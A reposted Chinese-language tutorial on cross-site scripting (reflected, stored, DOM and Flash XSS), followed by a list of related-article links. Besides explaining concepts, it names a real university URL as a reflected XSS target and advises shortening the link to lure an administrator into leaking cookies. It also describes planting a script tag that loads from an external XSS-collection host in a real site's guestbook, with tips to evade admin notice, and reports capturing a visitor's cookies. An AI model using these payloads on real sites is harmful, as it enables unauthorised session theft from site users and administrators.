0×01 反射型XSS:

反射XSS是XSS分类中最多的,他们原理是下面这样:

Hacker——发现存在反射XSS的URL——根据输出点的环境构造XSS代码——进行编码、缩短(可有可无,是为了增加迷惑性)——发送给受害人——受害打开后,执行XSS代码——完成hacker想要的功能(获取cookies、url、浏览器信息、IP等等)

原理搞清楚,那就说说怎么挖掘吧,

现在市面上的软件(JSky、Safe3WVS、Netsparker等)都可以挖掘出反射XSS,但是想要那些更隐蔽的XSS还是需要手工的,我先使用软件挖掘一些反射XSS,然后介绍手工挖掘。

找到后,我们来打开

  1. http://gdjy.hfut.edu.cn/viewcomp.jsp?id=hzgz123

打开后,我们试着在参数也就是id=hzgz123后面加上woaini(或则其他字符,这串字符必须保持唯一性,也就是说在整个网站里,他必须唯一一个不和其他字符相同的字符串)输入woaini后,打开,查看源代码(ctrl+u),按下ctrl+f来搜索woaini字符串,看出现在哪个位置。

我们发现woaini字符在a标签的href属性里,那我们就可以根据这个环境来构造了,我们可以用"></a><script>alert("xss")</script>来先闭合掉a标签。然后再用script来运行js代码。也可以这样onclick="alert(1)";>123</a>//点击123触发onclick来运行js,然后把后面的内容来注释掉。构造好代码后,把url变成短连接,发送给管理员,诱惑管理员打开,就可以获取管理员的cookies了。

OK,软件挖XSS大致就这些,手工其实和这差不多,手工的话,记住一句话“见框就插、改数据包不可见部分、改URL参数、js分析”就可以了。改数据包、js分析比较深,现在我就不再阐述了,见框就插,大家应该都明白,找到一个input输入框,先输入唯一字符串,然后看源代码里有没有出现,再输入<>""/&()来看看过滤了哪些字符,根据过滤的字符,来构造xss。

下图是QQ空间一处反射XSS,因为是朋友给的,我也不清楚是否被提交,所以我就不放出了。

0×03 储蓄型XSS:

PS:有的人叫持久型,各有各的叫法,所以不用太介意。

储蓄型XSS其实和反射型XSS差不多,只是储蓄型把数据保存到服务端,而反射型只是让XSS游走在客户端上。下面是我在某处网站上检测到的储蓄XSS,大家知道原理就OK。

(因为,这个网站本人想提交,所以URL打码处理,见谅)

目标站点:http://www.*******.com/

习惯性的打开留言处(book.asp),点击留言(这里最好不要使用<script>alert("xss")</script>来测试是否存在XSS漏洞,容易被管理员发现,所以你可以使用<a></a>来测试,如果成功了,不会被管理员发现)OK,我先在留言里出输入<a>s</a>提交留言,F12打开审查元素,来看我们输入的标签是否被过滤了,

OK,发现没有过滤(如果<a>s</a>是彩色的说明没有过滤,如果是灰色就说明过滤了)

那我就在xss平台里创建一个项目,然后再次留言,里面写上,“<script src="http://xss8.pw/EFe2Ga?1409273226"></script>请问怎么报名啊”

名字是我乱起的,这样一来,只要你访问

http://www.******.com/book.asp

就可以获取你的cookies,以及后台地址(因为留言板一般都在后台做审核)。但是,管理员好像死了,已经6天了,还没看。今天上xss平台一看有个cookies,看了下,是路人的,并不是管理员的。

但是使用方法大家也应该懂了。只要你打开http://www.******.com/book.asp 我就会在第一时间获取你的cookies。

0×04 DOM XSS:

DOM XSS是基于在js上的。而且他不需要与服务端进行交互,像反射、储蓄都需要服务端的反馈来构造xss,因为服务端对我们是不可见的(不是太清楚的,可以看看(http://www.freebuf.com/articles/neopoints/41168.html一文)

挖掘DOM XSS比较麻烦,因为有时你需要追源,对方可能会自定义函数,所以你需要一步一步来把对方自定义的函数来搞清楚。下面我举个最简单的例子:

在1.html里输入

  1. <script>
  2. document.write(document.URL.substring(document.URL.indexOf("a=")+2,document.URL.length));
  3. </script>

在这里我先解释下上面的意思:

Document.write是把里面的内容写到页面里。

document.URL是获取URL地址。

Substring 从某处到某处,把之间的内容获取。

document.URL.indexOf("a=")+2是在当前URL里从开头检索a=字符,然后加2(因为a=是两个字符,我们需要把他略去),同时他也是substring的开始值

document.URL.length是获取当前URL的长度,同时也是substring的结束值。

合起来的意思就是:在URL获取a=后面的值,然后把a=后面的值给显示出来。

我们打开,看看

怎么会出现这个问题呢?

因为当前url并没有a=的字符,而indexOf的特性是,当获取的值里,如果没有找到自己要检索的值的话,返回-1。找到了则返回0。那么document.URL.indexOf("a=")则为-1,再加上2,得1。然后一直到URL最后。这样一来,就把file的f字符给略去了,所以才会出现ile:///C:/Users/Administrator/Desktop/1.html

大致的原理都会了,我们继续。

我们可以在1.html后输入?a=123或则#a=123,只要不影响前面的路径,而且保证a=出现在URL就可以了。

我们清楚的看到我们输入的字符被显示出来了。

那我们输入<script>alert("xss")</script>会怎么样呢?

答案肯定是弹窗。

但是,这里肯定有人无法弹窗,像下面这样。

这是因为浏览器不同,maxthon、firfox、chrome则不行,他们会在你提交数据之前,对url进行编码。这不是说DOM XSS不行了,这只是个很简单的例子,所以不用在意。

我在说下,DOM XSS 是基于javascript基础上,而且不与服务端进行交互,他的code对你是可见的,而基于服务端的反射、储蓄则是不可见的。

0×05 XSF(Flash XSS):

XSF其实不算XSS的分类中,应该算作XSS的分支,因为在XSS使用到的技巧,在XSF只有一部分可以使用,因为XSF是基于ActionScript2/3.0语言的基础上。

我写XSS系列是为了让大多数对XSS不熟悉的人知晓如何运用这门攻击手法,所以,在此我不打算深入介绍XSF,如果有机会,你们将会在后期的系列里看到关于XSF技术的。

我先简要的说明下,在ActionScript2/3.0里以下几个函数需要重点关注下:

getURL  navigateToURL  ExternalInterface.call  ExternalInterface.call  htmlText  addcallback等。有兴趣的朋友可以先自行研究下。

0×06 挖掘XSS:

挖掘XSS的技巧很多,各式各样,我这里就简要说明下容易出现XSS的地方。

之前说过了修改输入框和URL参数来实现XSS。我在这里深入一点说明下。

修改URL参数的时候,你看到的只是用GET来传输数据的,还有隐形的数据,他们是用POST来传输数据,只有在数据包里才可以看到。这里不就阐述了,不懂的可以参考之前我写的利用方法,GET和POST利用方法几乎一样。不清楚POST和GET的可以在0×01 前言里查看下我给出的链接。

废话也不说了,下面进入正题。

一:我们都知道当你浏览网站的时候,对方的服务器会记录下你的IP地址。如果我们伪造IP为XSS代码呢?这里说的修改IP为XSS不是说修改PC端的,而是在浏览器也就是网页上的客户端进行修改。

这里需要使用firefox浏览器和两个附件

附件一:X-Forwarded-For Header

因为PHP获取IP有3个函数。而X-Forwarded-For Header就是对其中一个函数X_FORWARDED_FOR起作用,X_FORWARDED_FOR有个缺陷可以使客户端伪造任意IP,当然包括字符串,但是对其他两个函数就不行了。

附件二:Modify Headers

Modify Headers可以伪造数据包内容,当然也可以伪造HTTP_CLIENT_IP来更改IP。

那还有一个REMOTE_ADDR获取IP函数,这个怎么修改呢?答案是无法修改。

REMOTE_ADDR是由 nginx 传递给 php 的参数,所以就是当前 nginx 直接通信的客户端的 IP ,而我们无法插手。所以一旦对方使用了REMOTE_ADDR函数来获取IP,那就没办法了。不过不要紧,一共3个函数,2个函数可以伪造,我们还是有很大的成功率的。好了,开始伪造。

伪造好后,我们打开www.ip138.com看看,

成功弹窗了。因为我在X-Forwarded-For Header里配置的是<script>alert("xss")</script>。而在Modify Headers配置的是<script>alert("xss2")</script>。也就是说ip138.com使用的是X_FORWARDED_FOR函数来获取IP的。但是DZ等著名CMS不存在,他们都过滤了。

就像漏洞盒子一样(https://www.vulbox.com),

使用的是HTTP_CLIENT_IP函数来获取IP的,但是过滤了。你们可以先把配置写好,构造成一个获取cookies的。以后就随便的浏览网站,说不定某天就可以钓上一个呢。

本文转载自:http://www.freebuf.com/articles/web/42727.html

1.1 xss原理分析与剖析(2)的更多相关文章

  1. 1. xss原理分析与剖析(1)

    0×01 前言: <xss攻击手法>一开始在互联网上资料并不多(都是现成的代码,没有从基础的开始),直到刺的<白帽子讲WEB安全>和cn4rry的<XSS跨站脚本攻击剖析 ...

  2. 1.2 xss原理分析与剖析(3)

    0×01 第三方劫持 (外调J/C): 本方法是我看长短短贴代码时知晓的,这篇文章我只是把这个攻击手法整理了出来,来说明这个漏洞,这个攻击手法并不是我发现的,我也不是太清楚是谁.“第三方劫持”就是把资 ...

  3. 1.3 xss原理分析与剖析(4)

    0×01 URL编码 URL只允许用US-ASCII字符集中可打印的字符(0×20—0x7x),其中某些字符在HTTP协议里有特殊的意义,所以有些也不能使用.这里有个需要注意的,+加号代表URL编码的 ...

  4. XSS的原理分析与解剖

    0×01 前言: <xss攻击手法>一开始在互联网上资料并不多(都是现成的代码,没有从基础的开始),直到刺的<白帽子讲WEB安全>和cn4rry的<XSS跨站脚本攻击剖析 ...

  5. XSS的原理分析与解剖(转)

    (转)http://netsecurity.51cto.com/art/201408/448305_all.htm 0×01 前言: <xss攻击手法>一开始在互联网上资料并不多(都是现成 ...

  6. XSS的原理分析与解剖[转http://www.freebuf.com/articles/web/40520.html]

    0×01 前言: <xss攻击手法>一开始在互联网上资料并不多(都是现成的代码,没有从基础的开始),直到刺的<白帽子讲WEB安全>和cn4rry的<XSS跨站脚本攻击剖析 ...

  7. XSS的原理分析与解剖(一)

    0×01 前言: <xss攻击手法>一开始在互联网上资料并不多(都是现成的代码,没有从基础的开始),直到刺的<白帽子讲WEB安全>和cn4rry的<XSS跨站脚本攻击剖析 ...

  8. 老李推荐:第6章8节《MonkeyRunner源码剖析》Monkey原理分析-事件源-事件源概览-小结

    老李推荐:第6章8节<MonkeyRunner源码剖析>Monkey原理分析-事件源-事件源概览-小结   本章我们重点围绕处理网络过来的命令的MonkeySourceNetwork这个事 ...

  9. 老李推荐:第6章7节《MonkeyRunner源码剖析》Monkey原理分析-事件源-事件源概览-注入按键事件实例

    老李推荐:第6章7节<MonkeyRunner源码剖析>Monkey原理分析-事件源-事件源概览-注入按键事件实例   poptest是国内唯一一家培养测试开发工程师的培训机构,以学员能胜 ...

随机推荐

  1. 《python基础教程(第二版)》学习笔记 函数(第6章)

    <python基础教程(第二版)>学习笔记 函数(第6章) 创建函数:def function_name(params):  block  return values 记录函数:def f ...

  2. 同一台电脑关于多个SSH KEY管理

    运用shh -T -v git@github.com查看具体出错信息,再根据信息来调试    原文链接: http://yijiebuyi.com/blog/f18d38eb7cfee860c117d ...

  3. Linux课程---5、常用文件命令和目录命令(创建文件命令)

    Linux课程---5.常用文件命令和目录命令(创建文件命令) 一.总结 一句话总结: touch file1 1.管道符|有什么用? 将前一个命令的结果作为后一个命令的输入:比如查看文件前3行:ca ...

  4. 基于Protobuf的分布式高性能RPC框架——Navi-Pbrpc

    基于Protobuf的分布式高性能RPC框架——Navi-Pbrpc 二月 8, 2016 1 简介 Navi-pbrpc框架是一个高性能的远程调用RPC框架,使用netty4技术提供非阻塞.异步.全 ...

  5. Javascript-- jQuery事件篇(2)

    jQuery表单事件之blur与focus事件 单处理事件focusin事件与focusout事件,同样用于处理表单焦点的事件还有blur与focus事件 它们之间的本质区别: 是否支持冒泡处理 举个 ...

  6. ajax stream 一边下载二进制数据一边处理

    最近有在做 stream 下载,并且边下载 stream 边处理功能.解析二进制的功能.最初参考了 flv.js 的 flv stream 下载处理功能,发现他并没有使用的 XMLHttpReques ...

  7. codeforces 631B B. Print Check

    B. Print Check time limit per test 1 second memory limit per test 256 megabytes input standard input ...

  8. Java进阶06 容器

    Java中有一些对象被称为容器(container).容器中可以包含多个对象,每个对象称为容器中的一个元素.容器是用对象封装的数据结构(data structure). 充满梦想的容器 不同的数据结构 ...

  9. resin启动时报错com.caucho.config.LineConfigException的解决

    resin启动时报以下错误: [13:32:10.120] {main} WEB-INF/web.xml:42: 'listener-class' is an unknown property of ...

  10. jraiser小结

    1 合并小结 jrcpl F:\site\js\app --settings package.settings 上面代码的意思,就是说,根据package.settings文件,来对app文件夹下的所 ...